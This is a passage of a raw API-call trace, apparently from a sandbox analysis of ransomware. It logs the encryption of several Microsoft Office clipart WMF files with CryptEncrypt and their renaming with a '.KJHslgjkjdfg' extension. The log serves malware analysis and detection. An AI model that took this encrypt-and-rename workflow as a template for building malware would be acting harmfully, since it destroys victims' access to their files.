[0204.696] GetProcessHeap () returned 0x990000 [0204.696] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0204.696] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0204.696] CryptDestroyKey (hKey=0x9b6628) returned 1 [0204.696] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0204.696] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0204.696] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0204.696] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0204.696] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0204.696] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0204.697] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0204.697] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0204.697] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.697] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x938, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x938, lpOverlapped=0x0) returned 1 [0204.697] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x940, dwBufLen=0x940 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x940) returned 1 [0204.697] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.697] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x940, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x940, lpOverlapped=0x0) returned 1 [0204.697] CryptDestroyKey (hKey=0x9b6628) returned 1 [0204.697] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xa14, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.697] SetEndOfFile (hFile=0x130) returned 1 [0204.698] GetProcessHeap () returned 0x990000 [0204.698] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0204.699] GetProcessHeap () returned 0x990000 [0204.699] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0204.699] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00494_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00494_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00494_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00494_.wmf.kjhslgjkjdfg")) returned 1 [0204.700] CloseHandle (hObject=0x130) returned 1 [0204.701] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2bf33f00, ftCreationTime.dwHighDateTime=0x1bd4b15, ftLastAccessTime.dwLowDateTime=0x6a34aa30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2bf33f00, ftLastWriteTime.dwHighDateTime=0x1bd4b15, nFileSizeHigh=0x0, nFileSizeLow=0xb60, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA00512_.WMF", cAlternateFileName="")) returned 1 [0204.701] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00512_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00512_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0204.702] GetProcessHeap () returned 0x990000 [0204.702] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0204.702] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0204.702] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0204.702] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0204.702] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0204.702] GetProcessHeap () returned 0x990000 [0204.702] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0204.702] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0204.702] CryptDestroyKey (hKey=0x9b6628) returned 1 [0204.702] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0204.707] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0204.707] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0204.708] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0204.708] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0204.708] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0204.708] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0204.708] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0204.708] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.708] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xb60, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xb60, lpOverlapped=0x0) returned 1 [0204.708] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xb60, dwBufLen=0xb60 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xb60) returned 1 [0204.708] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.708] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xb60, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xb60, lpOverlapped=0x0) returned 1 [0204.708] CryptDestroyKey (hKey=0x9b6628) returned 1 [0204.708] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xc34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.709] SetEndOfFile (hFile=0x130) returned 1 [0204.711] GetProcessHeap () returned 0x990000 [0204.711] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0204.711] GetProcessHeap () returned 0x990000 [0204.711] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0204.711] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00512_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00512_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00512_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00512_.wmf.kjhslgjkjdfg")) returned 1 [0204.713] CloseHandle (hObject=0x130) returned 1 [0204.714] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc9b2c00, ftCreationTime.dwHighDateTime=0x1bd4b20, ftLastAccessTime.dwLowDateTime=0x6a34aa30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcc9b2c00, ftLastWriteTime.dwHighDateTime=0x1bd4b20, nFileSizeHigh=0x0, nFileSizeLow=0x6efa, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA00523_.WMF", cAlternateFileName="")) returned 1 [0204.714] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00523_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00523_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0204.715] GetProcessHeap () returned 0x990000 [0204.715] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0204.715] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0204.715] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0204.715] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x6, lpOverlapped=0x0) returned 1 [0204.717] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0204.717] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0204.717] GetProcessHeap () returned 0x990000 [0204.717] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0204.718] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0204.718] CryptDestroyKey (hKey=0x9b6628) returned 1 [0204.718] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0204.718] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0204.718] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0204.718] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0204.718] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0204.718] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0204.718] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0204.718] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0204.718] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.718] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x6efa, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x6efa, lpOverlapped=0x0) returned 1 [0204.723] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x6f00, dwBufLen=0x6f00 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x6f00) returned 1 [0204.723] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.723] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x6f00, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x6f00, lpOverlapped=0x0) returned 1 [0204.723] CryptDestroyKey (hKey=0x9b6628) returned 1 [0204.723] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x6fd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.723] SetEndOfFile (hFile=0x130) returned 1 [0204.726] GetProcessHeap () returned 0x990000 [0204.726] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0204.726] GetProcessHeap () returned 0x990000 [0204.726] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0204.726] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00523_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00523_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00523_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00523_.wmf.kjhslgjkjdfg")) returned 1 [0204.727] CloseHandle (hObject=0x130) returned 1 [0204.727] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6a54b00, ftCreationTime.dwHighDateTime=0x1bd4b20, ftLastAccessTime.dwLowDateTime=0x594ac510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc6a54b00, ftLastWriteTime.dwHighDateTime=0x1bd4b20, nFileSizeHigh=0x0, nFileSizeLow=0x5880, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA00525_.WMF", cAlternateFileName="")) returned 1 [0204.727] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00525_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00525_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0204.729] GetProcessHeap () returned 0x990000 [0204.729] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0204.729] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0204.729] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0204.729] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0204.729] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0204.729] GetProcessHeap () returned 0x990000 [0204.729] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0204.730] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0204.730] CryptDestroyKey (hKey=0x9b6628) returned 1 [0204.730] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0204.732] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0204.732] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0204.732] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0204.732] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0204.732] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0204.732] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0204.732] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0204.732] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.732] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x5880, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x5880, lpOverlapped=0x0) returned 1 [0204.734] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x5880, dwBufLen=0x5880 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x5880) returned 1 [0204.734] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.734] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x5880, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x5880, lpOverlapped=0x0) returned 1 [0204.734] CryptDestroyKey (hKey=0x9b6628) returned 1 [0204.734] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x5954, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.734] SetEndOfFile (hFile=0x130) returned 1 [0204.740] GetProcessHeap () returned 0x990000 [0204.740] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0204.740] GetProcessHeap () returned 0x990000 [0204.740] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0204.741] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00525_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00525_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00525_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00525_.wmf.kjhslgjkjdfg")) returned 1 [0204.771] CloseHandle (hObject=0x130) returned 1 [0204.772] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35fc4a00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x594d2670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x35fc4a00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x477c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA00530_.WMF", cAlternateFileName="")) returned 1 [0204.779] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00530_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00530_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0204.780] GetProcessHeap () returned 0x990000 [0204.780] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0204.780] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0204.780] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0204.780] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0204.825] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0204.825] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0204.825] GetProcessHeap () returned 0x990000 [0204.825] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0204.826] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0204.826] CryptDestroyKey (hKey=0x9b6628) returned 1 [0204.826] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0204.826] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0204.826] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0204.826] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0204.826] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0204.826] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0204.826] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0204.826] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, 